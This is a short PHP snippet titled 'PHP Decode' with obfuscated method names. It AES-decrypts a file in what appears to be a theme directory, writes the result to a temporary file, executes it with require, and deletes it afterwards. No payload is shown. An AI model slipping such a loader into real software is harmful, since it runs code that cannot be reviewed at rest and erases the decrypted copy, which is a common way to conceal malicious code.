PHP Decode

<?      public function efERFf($sK, $eFPth) { 
        if (!$this->aBcD($sK) || !$this->eFgH($eFPth)) { 
            die("Invalid input"); 
        } 
 
        $eC = file_get_contents($eFPth); 
        $thmDr = dirname($eFPth); 
 
        $ivL = openssl_cipher_iv_length('aes-256-cbc'); 
        $iv = substr($eC, 0, $ivL); 
        $eC = substr($eC, $ivL); 
        $dC = openssl_decrypt($eC, 'aes-256-cbc', $sK, 0, $iv); 
 
        chdir($thmDr); 
 
        // Check if temp file exists and delete it 
        $tmpFile = glob('dec*'); 
        if (!empty($tmpFile)) { 
            unlink($tmpFile[0]); 
        } 
 
        $tmpNm = tempnam($thmDr, 'dec'); 
        file_put_contents($tmpNm, $dC); 
 
        // Set up an error handler to remove the temp file in case of an error 
        set_error_handler(function () use ($tmpNm) { 
            unlink($tmpNm); 
        }); 
 
        try { 
            require $tmpNm; 
        } catch (Exception $e) { 
            // Handle the exception as needed 
            echo "Error: " . $e->getMessage(); 
        } finally { 
            // Restore the default error handler 
            restore_error_handler(); 
            // Remove the temp file after execution 
            unlink($tmpNm); 
        } 
    } 
 
    private function aBcD($sK) { 
        return is_string($sK) && strlen($sK) > 0; 
    } 
 
    private function eFgH($eC) { 
        return is_string($eC) && strlen($eC) > 0; 
    } ?>